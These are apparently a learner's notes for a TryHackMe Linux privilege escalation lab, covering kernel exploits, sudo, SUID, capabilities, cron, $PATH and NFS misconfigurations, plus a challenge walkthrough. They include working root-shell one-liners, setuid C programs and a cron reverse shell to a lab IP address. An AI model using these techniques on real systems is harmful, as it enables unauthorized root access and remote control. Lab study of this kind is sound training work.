# linux privilege

###### tags: `tryhackme` `privilege`

[TOC]

# Kernel Privilege

Target INFO

systems info


---


our machine

nc -lvnp 443 -k < ovf.c

Victim

cd /var/tmp
nc 10.17.11.72 443 > ovf.c
gcc ovf.c -o ovf 
./ovf

whoami

find / -name flag.txt 

cat flag.txt 

# Sudo

Leverage Application

https://gtfobins.github.io/


---

It can be used to break out from restricted environments by spawning an interactive system shell.


---


# SUID

Problem

## Permission Bypass


Find the special privilege of configuration file. (SUID) "s"

find / -type f -perm -04000 -ls 2>/dev/null






---



## Capability


### find

getcap -r / 2>/dev/null


:py3 
import os
os.setuid(0)
os.execl("/bin/sh", "sh", "-c", "reset; exec sh") 
#執行 "/bin/sh" 這個程式，並傳入 "sh" 和 "-c" 參數，以及字串 "reset; exec sh"。

uid 0 -> root

execute /bin/sh

command:
sh -c reset // reset the terminal
sh -c exec sh //open new shell

---

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'


---

## Cron

cat /etc/crontab



vim backup.sh
chomd -x backup.sh

bash shell

bash -l >& /dev/tcp/10.10.10.10/6666 0>&1



---


---




## $PATH

### $PATH writable


root file

#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("thm");
}

cd /tmp
echo "/bin/bash" > thm
./rootfile


## NFS (Network File Share)

vulnerability options -> "no_root_squash"

Display the target share file path

showmount --export 10.0.0.12

Show the NFS server's export list.

Using the share file directory

mount -o rw 10.0.0.12:/tmp /ourmachine/directory

-o optionslist

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void){
setuid(0);
setgid(0);
system("bin/bash");
return 0;
}

gcc code.c -o code -w 
chmod +s code    //set Suid 

---

## Challenge

[leonard@ip-10-10-42-180 ~]$ uname -a
Linux
ip-10-10-42-180
3.10.0-1160.el7.x86_64 //kernel version
#1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64
x86_64 GNU/Linux

### Gathing the systems information


Testing kernel


no vulnerability

---


### Sudo


NO sudo privilege

### SUID



Using john to crack the root password



Burp the password failed.

### Corntab


### Target


We could try to find user Missy and Rootflag.


Not Missy and Rootflag users


Missy password -> Password1

## Sudo -l (missy)


we could use find commend to privilege escalation

sudo find . -exec /bin/sh \; -quit


flag 1


flag 2